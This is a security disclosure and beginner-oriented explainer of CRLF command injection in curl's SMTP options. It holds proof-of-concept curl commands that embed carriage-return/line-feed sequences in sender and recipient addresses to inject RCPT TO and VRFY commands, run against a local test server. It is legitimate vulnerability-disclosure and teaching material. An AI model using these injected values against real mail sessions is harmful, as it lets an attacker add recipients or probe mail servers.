SMTP Command Injection Vulnerabilities in curl
curl did not strip carriage return and line feed characters from the email addresses given to its SMTP options, so an attacker who controls those values could append extra SMTP commands to the session. The report shows injected MAIL FROM, RCPT TO and EXPN commands being accepted by a test server.
Originally disclosed on HackerOne
- Disclosed after 21 hours
Summary
Successfully reproduced SMTP command injection vulnerabilities in curl that allow attackers to inject arbitrary SMTP commands by using carriage return and line feed characters (\r\n) in email addresses.
Vulnerabilities Confirmed
1. MAIL FROM Injection
Description: Injection via --mail-from parameter using bash ANSI C-quoting
Impact: Allows injection of additional SMTP commands after MAIL FROM
2. RCPT TO Injection
Description: Injection via --mail-rcpt parameter using bash ANSI C-quoting
Impact: Allows injection of additional SMTP commands after RCPT TO
3. EXPN Path Injection
Description: Injection via --mail-rcpt parameter in EXPN requests
Impact: Allows injection of additional SMTP commands in EXPN operations
Test Environment Setup
SMTP Server Setup
# Build and run SMTP server in Docker
docker build -f Dockerfile.smtp -t smtp-server .
docker run -d -p 2525:2525 --name smtp-test smtp-server
# Verify server is running
docker ps
docker logs smtp-test
Reproduction Steps
Step 1: MAIL FROM Injection
curl --url smtp://127.0.0.1:2525 \
--mail-rcpt victim@local \
--mail-from $'<attacker@local>\r\nRCPT TO:<pwn@local>' \
-T /etc/hosts \
--trace-ascii -
Expected Result:
- curl sends:
MAIL FROM:<attacker@local> - curl sends:
RCPT TO:<pwn@local> SIZE=213(injected command) - curl sends:
RCPT TO:<victim@local>(intended command)
Step 2: RCPT TO Injection
curl --url smtp://127.0.0.1:2525 \
--mail-from attacker@local \
--mail-rcpt $'<victim@local>\r\nVRFY postmaster' \
-T /etc/hosts \
--trace-ascii -
Expected Result:
- curl sends:
RCPT TO:<victim@local>(intended command) - curl sends:
VRFY postmaster>(injected command)
Step 3: EXPN Path Injection
curl --url smtp://127.0.0.1:2525 \
--request EXPN \
--mail-rcpt $'listname\r\nVRFY postmaster' \
--trace-ascii -
Expected Result:
- curl sends:
EXPN listname(intended command) - curl sends:
VRFY postmaster(injected command)
Evidence
SMTP Server Logs
The SMTP server logs clearly show the injected commands:
2025-09-25 15:06:13,008 - INFO - ('192.168.65.1', 49640) >> b'MAIL FROM:<attacker@local>'
2025-09-25 15:06:13,010 - INFO - ('192.168.65.1', 49640) >> b'RCPT TO:<pwn@local> SIZE=213'
2025-09-25 15:06:13,010 - INFO - ('192.168.65.1', 49640) >> b'RCPT TO:<victim@local>'
curl Trace Output
The --trace-ascii output shows the exact bytes sent:
=> Send header, 58 bytes (0x3a)
0000: MAIL FROM:<attacker@local>
001c: RCPT TO:<pwn@local> SIZE=213
Impact Assessment
- Severity: High
- Attack Vector: Network
- Authentication: None required
- User Interaction: None required
- Scope: All curl versions with SMTP support
Mitigation
- Input Validation: Sanitize email addresses to remove
\r\ncharacters - Parameter Encoding: Properly escape special characters in SMTP parameters
- Protocol Compliance: Ensure SMTP commands are properly formatted
Files Created
smtp_server.py- Python SMTP server for testingDockerfile.smtp- Docker configuration for SMTP serverSMTP_INJECTION_REPORT.md- This report
Best, Luigino Camastra Aisle Research
Impact
Summary:
Context
curl is a command-line tool and library for transferring data with URLs. Among its many supported protocols is SMTP, which lets curl submit a message to a mail server. When you use curl for SMTP, you supply the envelope sender with --mail-from, one or more envelope recipients with --mail-rcpt, and the message body with -T. curl then speaks the SMTP protocol on your behalf, issuing commands such as MAIL FROM, RCPT TO and, when asked with --request, verbs like EXPN.
The report describes SMTP command injection vulnerabilities in curl: an attacker who can influence the email address values passed to these options can inject arbitrary SMTP commands by embedding carriage return and line feed characters (\r\n) in those values. Because SMTP is a line-oriented text protocol, a CRLF inside a value ends the current command line and starts a new one, so whatever follows the CRLF is interpreted by the server as a fresh command.
The researcher confirmed three separate injection points:
| # | Injection point | Option | Effect |
|---|---|---|---|
| 1 | MAIL FROM | --mail-from |
Additional SMTP commands injected after MAIL FROM |
| 2 | RCPT TO | --mail-rcpt |
Additional SMTP commands injected after RCPT TO |
| 3 | EXPN path | --mail-rcpt with --request EXPN |
Additional SMTP commands injected in EXPN operations |
Setup
The testing was done against a purpose-built SMTP server running in Docker on port 2525. The researcher created a Python SMTP server (smtp_server.py) and a Docker configuration (Dockerfile.smtp) for the test environment. The server was built and started with:
# Build and run SMTP server in Docker
docker build -f Dockerfile.smtp -t smtp-server .
docker run -d -p 2525:2525 --name smtp-test smtp-server
# Verify server is running
docker ps
docker logs smtp-test
The server logs show the commands it received, including the injected ones. All reproductions target smtp://[redacted]:2525, and the message body uploaded in the first two steps is /etc/hosts, a small local file used purely as filler. The --trace-ascii - option makes curl print the exact bytes it sends, so the injected lines can be seen on the client side as well as in the server logs.
The payloads use bash ANSI C-quoting ($'...') to place \r\n in the option values. This is the mechanism by which a CRLF gets into the option value.
Finding it
The researcher reproduced the injection by placing CRLF in the SMTP envelope option values. The reasoning is straightforward once you know SMTP is line-based: if curl writes MAIL FROM:< followed by the user-supplied address followed by > directly onto the wire without rejecting or encoding CRLF, then a value containing \r\n will terminate the command early and everything after it will be parsed by the server as a new command. The same logic applies to RCPT TO and to the argument of EXPN.
Each of the three cases was reproduced against the local server, and the server logs and curl trace output were captured as evidence.
Exploitation
Step 1: MAIL FROM injection
curl --url smtp://[redacted]:2525 \
--mail-rcpt victim@local \
--mail-from $'<attacker@local>\r\nRCPT TO:<pwn@local>' \
-T /etc/hosts \
--trace-ascii -
The --mail-from value is <attacker@local>\r\nRCPT TO:<pwn@local>. The $'...' quoting turns \r\n into an actual CRLF, so the value contains a complete second command, RCPT TO:<pwn@local>, after the line break. The intended recipient victim@local is supplied separately via --mail-rcpt.
The expected result is that curl sends three lines:
MAIL FROM:<attacker@local>RCPT TO:<pwn@local> SIZE=213(the injected command, with curl'sSIZEparameter appended)RCPT TO:<victim@local>(the intended command)
Step 2: RCPT TO injection
curl --url smtp://[redacted]:2525 \
--mail-from attacker@local \
--mail-rcpt $'<victim@local>\r\nVRFY postmaster' \
-T /etc/hosts \
--trace-ascii -
Here the CRLF is inside the --mail-rcpt value, which is <victim@local>\r\nVRFY postmaster. The injected command is VRFY postmaster, an SMTP verb that asks the server to verify an address.
The expected result is that curl sends:
VRFY postmaster>(the injected command)
Step 3: EXPN path injection
curl --url smtp://[redacted]:2525 \
--request EXPN \
--mail-rcpt $'listname\r\nVRFY postmaster' \
--trace-ascii -
With --request EXPN, curl issues the EXPN verb using the value from --mail-rcpt as its argument. The value listname\r\nVRFY postmaster again contains a CRLF, so the injected VRFY postmaster becomes a separate command.
The expected result is that curl sends:
EXPN listname(the intended command)VRFY postmaster(the injected command)
Evidence
The SMTP server logs show the injected commands arriving as distinct lines:
2025-09-25 15:06:13,008 - INFO - ('[redacted]', 49640) >> b'MAIL FROM:<attacker@local>'
2025-09-25 15:06:13,010 - INFO - ('[redacted]', 49640) >> b'RCPT TO:<pwn@local> SIZE=213'
2025-09-25 15:06:13,010 - INFO - ('[redacted]', 49640) >> b'RCPT TO:<victim@local>'
The curl trace confirms the exact bytes sent from the client side:
=> Send header, 58 bytes (0x3a)
0000: MAIL FROM:<attacker@local>
001c: RCPT TO:<pwn@local> SIZE=213
Both views agree: the injected RCPT TO:<pwn@local> line is transmitted as its own SMTP command, ahead of the intended recipient.
Root cause
curl passes the values of --mail-from and --mail-rcpt into the SMTP command stream without rejecting or encoding carriage return and line feed characters. Since SMTP commands are delimited by CRLF, an embedded CRLF splits the value into multiple protocol lines, and the server treats the trailing portion as a new command. The same applies to the argument used for EXPN. The report demonstrates the behaviour from the wire output.
Impact
The report's impact assessment states severity High, network attack vector, no authentication and no user interaction required. The report's impact assessment claims the scope is all curl versions with SMTP support.
An attacker who can control or influence the email address values passed to curl's SMTP options can inject additional SMTP commands into the session. The report demonstrates injection of RCPT TO and VRFY commands; the general claim is that arbitrary SMTP commands can be injected. What an injected command achieves depends on the server and on the commands it accepts, and the report does not enumerate further consequences beyond the demonstrated command injection.
Fix
The report lists three mitigations:
- Input validation: sanitise email addresses to remove
\r\ncharacters. - Parameter encoding: properly escape special characters in SMTP parameters.
- Protocol compliance: ensure SMTP commands are properly formatted.
Variants to test
- Other curl SMTP options that carry user data: any option whose value ends up on an SMTP command line is a candidate. A positive result is a CRLF in the value producing an extra line in
--trace-asciioutput and in the server log. - Other line-based protocols curl speaks: the same class of bug can exist wherever a user-supplied value is written into a CRLF-delimited protocol stream. A positive result is an injected line appearing as a separate command or header on the server side.
- Different SMTP verbs via
--request: the report showsEXPN; other verbs that take an argument from--mail-rcptare worth checking the same way. A positive result is the injected command being logged as its own line. - Other injection characters: the report only covers
\r\n; testing whether bare\ror bare\nare also accepted by the server as line terminators is a natural follow-up. A positive result is a split command line from a single character.
Hunting notes
This kind of bug hides in client-side protocol implementations: command-line tools and libraries that build line-oriented protocol messages by concatenating user-supplied values. If the trace shows more lines than the tool should have sent, the value is being written raw.
The researcher used a controlled server whose logs show the injected command as a distinct protocol line on the receiving end.
What happened, in plain words
A security researcher found a way to sneak extra instructions into a program called curl. curl is a small utility that runs in a terminal (the text window where you type commands) and is used to send and receive data over the internet. One of the things curl can do is talk to a mail server, the computer that handles email, and hand it a message to deliver.
When curl talks to a mail server, it has to say who the message is from and who it is going to. You give it those details as text on the command line. The researcher discovered that if you put a special invisible line break inside one of those details, curl passes it straight to the mail server without cleaning it up. The mail server sees the line break and thinks a brand new instruction starts after it. So an attacker who can control the email address that gets fed into curl can make the mail server run extra commands of the attacker's choosing.
This kind of problem is called command injection: you slip your own commands into a place where the program expected only ordinary data. The report confirms three separate spots where this works, all in curl's email (SMTP) support.
The background you need
Before the details make sense, here are the pieces involved.
curl is a command-line tool and a library (a bundle of code other programs can reuse) for moving data around using URLs. A URL is the address you type in a browser, like https://example.com. curl speaks many different internet languages, called protocols, and one of them is SMTP.
SMTP (Simple Mail Transfer Protocol) is the language computers use to send email. It is a text protocol: the two computers have a conversation made of plain lines of text. Each line is one instruction, called a command. The end of a line is marked by two invisible characters, a carriage return and a line feed, written together as \r\n. Think of it like writing a letter where every sentence must be on its own line: the moment you press Enter, the reader treats whatever comes next as a new sentence.
When curl sends an email through SMTP, you tell it three things:
--mail-fromis the envelope sender, the address the message claims to come from.--mail-rcptis the envelope recipient, the address the message is going to. You can give more than one.-Tpoints at a file whose contents become the message body.
curl then does the talking for you, sending commands such as MAIL FROM (here is the sender), RCPT TO (here is a recipient) and, if you ask with --request, other verbs such as EXPN (expand a mailing list).
The core idea of the bug: because SMTP is line-based, if a \r\n sneaks into a value that curl is supposed to send as data, the mail server treats everything after that line break as a fresh command. The researcher confirmed three injection points:
| # | Injection point | Option | Effect |
|---|---|---|---|
| 1 | MAIL FROM | --mail-from |
Extra SMTP commands injected after MAIL FROM |
| 2 | RCPT TO | --mail-rcpt |
Extra SMTP commands injected after RCPT TO |
| 3 | EXPN path | --mail-rcpt with --request EXPN |
Extra SMTP commands injected in EXPN operations |
Setting up a test mail server
The researcher did not test against a real mail service. Instead they built a small, purpose-made SMTP server that runs inside Docker. Docker is a tool that packages a program and everything it needs into a sealed box called a container, so it runs the same way on any machine. The test server listens on port 2525, a numbered doorway on the computer that programs use to connect. The researcher wrote the server in Python (a programming language) in a file called smtp_server.py, plus a Docker recipe file called Dockerfile.smtp. The server was built and started with:
# Build and run SMTP server in Docker
docker build -f Dockerfile.smtp -t smtp-server .
docker run -d -p 2525:2525 --name smtp-test smtp-server
# Verify server is running
docker ps
docker logs smtp-test
Line by line:
docker build -f Dockerfile.smtp -t smtp-server .builds the container image (the sealed box) from the recipe fileDockerfile.smtp, gives it the name tagsmtp-server, and uses the current folder (.) as the build context.docker run -d -p 2525:2525 --name smtp-test smtp-serverstarts a container from that image in the background (-d), connects port 2525 on your machine to port 2525 inside the container (-p 2525:2525), and names the running containersmtp-test.docker pslists running containers, so you can check the server is up.docker logs smtp-testshows the output the server has printed, which is where the received commands appear.
Why this matters: the server logs show the commands it received, including the injected ones. That log is the proof. It lets the researcher show the injected command arriving as its own line on the receiving end, not just as odd bytes on the sending side.
All the reproductions below target smtp://[redacted]:2525, which means "talk SMTP to this same computer on port 2525". The file uploaded as the message body in the first two steps is /etc/hosts, a small file that exists on the machine and is used purely as filler. The option --trace-ascii - tells curl to print, in readable text, the exact bytes it sends, so you can watch the conversation from the client side too.
One more piece of setup: the payloads use bash ANSI C-quoting, written $'...'. Bash is the command shell (the program that reads what you type in the terminal). Normally, if you type \r\n inside ordinary quotes, bash passes the backslash and letters through without turning them into control characters. Wrapping the text in $'...' tells bash to interpret escape sequences, so \r\n becomes a real carriage return and line feed before curl ever sees the value. That is the trick that gets a genuine line break into the option.
Finding it
The researcher reproduced the injection by placing a line break in the SMTP option values. The reasoning is simple once you know SMTP is line-based. curl builds each command by gluing together a fixed word like MAIL FROM:<, then your address, then a closing >. If curl writes that straight onto the network without rejecting or encoding a line break, then an address containing \r\n will end the command early, and everything after the break will be read by the server as a new command. The same logic applies to RCPT TO and to the argument of EXPN.
Each of the three cases was reproduced against the local server, and the server logs and curl trace were captured as evidence.
Step 1: injecting through MAIL FROM
curl --url smtp://[redacted]:2525 \
--mail-rcpt victim@local \
--mail-from $'<attacker@local>\r\nRCPT TO:<pwn@local>' \
-T /etc/hosts \
--trace-ascii -
Line by line:
curlruns the tool.--url smtp://[redacted]:2525says where to connect: the local test mail server on port 2525.--mail-rcpt victim@localsets the intended recipient tovictim@local.--mail-from $'<attacker@local>\r\nRCPT TO:<pwn@local>'sets the sender. The$'...'quoting turns\r\ninto a real line break, so the value is<attacker@local>, then a line break, then a complete second commandRCPT TO:<pwn@local>.-T /etc/hostsuploads that file as the message body.--trace-ascii -prints the exact bytes curl sends to the screen.
Why this step: it tests whether a line break in the sender address lets the attacker add a recipient of their own choosing. The expected result is that curl sends three lines:
MAIL FROM:<attacker@local>RCPT TO:<pwn@local> SIZE=213(the injected command, with curl'sSIZEparameter appended)RCPT TO:<victim@local>(the intended command)
Step 2: injecting through RCPT TO
curl --url smtp://[redacted]:2525 \
--mail-from attacker@local \
--mail-rcpt $'<victim@local>\r\nVRFY postmaster' \
-T /etc/hosts \
--trace-ascii -
Line by line:
--url smtp://[redacted]:2525connects to the local test server.--mail-from attacker@localsets an ordinary sender.--mail-rcpt $'<victim@local>\r\nVRFY postmaster'sets the recipient. This time the line break is inside the recipient value, so after<victim@local>comes a new command,VRFY postmaster.VRFYis an SMTP verb that asks the server to verify an address.-T /etc/hostsuploads the filler file as the body.--trace-ascii -shows the bytes sent.
Why this step: it tests the second injection point, the recipient address, and shows a different command (VRFY) can be smuggled in. The expected result is that curl sends:
VRFY postmaster>(the injected command)
Step 3: injecting through the EXPN path
curl --url smtp://[redacted]:2525 \
--request EXPN \
--mail-rcpt $'listname\r\nVRFY postmaster' \
--trace-ascii -
Line by line:
--request EXPNtells curl to use theEXPNverb instead of the usual mail-sending commands.EXPNasks the server to expand a mailing list into its members.--mail-rcpt $'listname\r\nVRFY postmaster'supplies the argument forEXPN. The value islistname, then a real line break, thenVRFY postmaster.--trace-ascii -shows the bytes sent.
Why this step: it shows the same flaw reaches a third code path, where the recipient option is reused as the argument to a different command. The expected result is that curl sends:
EXPN listname(the intended command)VRFY postmaster(the injected command)
The evidence
The test server's log shows the injected commands arriving as separate lines:
2025-09-25 15:06:13,008 - INFO - ('[redacted]', 49640) >> b'MAIL FROM:<attacker@local>'
2025-09-25 15:06:13,010 - INFO - ('[redacted]', 49640) >> b'RCPT TO:<pwn@local> SIZE=213'
2025-09-25 15:06:13,010 - INFO - ('[redacted]', 49640) >> b'RCPT TO:<victim@local>'
Each line is one entry the server wrote when it received a command. The >> marks data coming in, and the b'...' is Python's way of showing raw bytes. You can see the injected RCPT TO:<pwn@local> sitting between the sender and the intended recipient, exactly as predicted.
The curl trace confirms the same thing from the sending side:
=> Send header, 58 bytes (0x3a)
0000: MAIL FROM:<attacker@local>
001c: RCPT TO:<pwn@local> SIZE=213
Here => Send header means curl is about to send data, 58 bytes (0x3a) is the size in decimal and hexadecimal, and the numbers on the left (0000, 001c) are byte offsets into that data. The two lines shown are the sender command and the injected recipient command. Both views agree: the injected line is transmitted as its own SMTP command, ahead of the intended recipient.
Why it works
curl takes the values of --mail-from and --mail-rcpt and writes them into the SMTP conversation without rejecting or encoding carriage return and line feed characters. Because SMTP commands are separated by \r\n, an embedded line break splits the value into several protocol lines, and the server treats the trailing part as a new command. The same applies to the argument used for EXPN. The report demonstrates the behaviour from what goes over the wire.
How serious it is
The report's impact assessment states severity High, network attack vector, no authentication and no user interaction required. The report's impact assessment claims the scope is all curl versions with SMTP support.
In plain terms: an attacker who can control or influence the email address values passed to curl's SMTP options can inject additional SMTP commands into the session. The report demonstrates injection of RCPT TO and VRFY commands; the general claim is that arbitrary SMTP commands can be injected. What an injected command achieves depends on the server and on which commands it accepts, and the report does not enumerate further consequences beyond the demonstrated command injection.
How to fix it
The report lists three mitigations:
- Input validation: sanitise email addresses to remove
\r\ncharacters. - Parameter encoding: properly escape special characters in SMTP parameters.
- Protocol compliance: ensure SMTP commands are properly formatted.
Other places to look
- Other curl SMTP options that carry user data: any option whose value ends up on an SMTP command line is a candidate. A positive result is a line break in the value producing an extra line in
--trace-asciioutput and in the server log. - Other line-based protocols curl speaks: the same class of bug can exist wherever a user-supplied value is written into a line-delimited protocol stream. A positive result is an injected line appearing as a separate command or header on the server side.
- Different SMTP verbs via
--request: the report showsEXPN; other verbs that take an argument from--mail-rcptare worth checking the same way. A positive result is the injected command being logged as its own line. - Other injection characters: the report only covers
\r\n; testing whether a bare carriage return or a bare line feed is also accepted by the server as a line terminator is a natural follow-up. A positive result is a split command line from a single character.
Tips for testing this yourself
This kind of bug hides in client-side protocol implementations: command-line tools and libraries that build line-based protocol messages by gluing user-supplied values together. If the trace shows more lines than the tool should have sent, the value is being written raw.
The researcher used a controlled server whose logs show the injected command as a distinct protocol line on the receiving end.
Glossary
- curl: a command-line tool and library for transferring data with URLs; it can speak many internet protocols, including SMTP.
- SMTP: Simple Mail Transfer Protocol, the line-based text language computers use to send email.
- Protocol: an agreed set of rules two computers follow to talk to each other.
- Command: a single instruction in a protocol conversation, usually one line of text.
- Command injection: a flaw where an attacker slips their own commands into a place that was meant to hold only ordinary data.
- CRLF: carriage return plus line feed (
\r\n), the two invisible characters that mark the end of a line in many protocols. - Carriage return / line feed: the two control characters that together end a line; often written
\rand\n. - Envelope sender / recipient: the addresses the mail server uses to route a message, separate from the addresses shown in the message headers.
--mail-from: the curl option that sets the envelope sender.--mail-rcpt: the curl option that sets an envelope recipient; it can be given more than once.-T: the curl option that uploads a file as the message body.--request: the curl option that chooses which protocol verb to use, such asEXPN.--trace-ascii: the curl option that prints the exact bytes sent and received in readable text.MAIL FROM: the SMTP command that declares the sender.RCPT TO: the SMTP command that declares a recipient.EXPN: an SMTP verb that asks the server to expand a mailing list into its members.VRFY: an SMTP verb that asks the server to verify an address.SIZE: an SMTP parameter that states the size of the message; curl appends it to a recipient command.- Docker: a tool that packages a program and its dependencies into a sealed, portable container.
- Container: a running instance of a Docker image, isolated from the rest of the machine.
- Port: a numbered doorway on a computer that network programs connect to; the test server uses 2525.
[redacted]: the address a computer uses to refer to itself (localhost).- Bash: the command shell that reads and runs what you type in a terminal.
- ANSI C-quoting (
$'...'): bash syntax that interprets escape sequences such as\r\nas real characters. - Escape sequence: a short code, like
\r\n, that stands for a special character. - Payload: the crafted input an attacker sends to trigger a flaw.
- Trace: a record of the exact bytes a program sends and receives.
- Byte offset: the position of a byte within a block of data, shown in the trace as numbers like
0000and001c. - Hexadecimal: a base-16 number system, shown here in brackets such as
0x3a. - Input validation: checking and cleaning data before using it, for example stripping line breaks from addresses.
- Encoding / escaping: converting special characters into a safe form so they cannot be mistaken for protocol syntax.
- Attack vector: the route an attacker uses to reach the target; here, the network.
- Severity: a rating of how damaging a flaw is; this report rates it High.
- Root cause: the underlying reason a flaw exists, as opposed to its visible symptoms.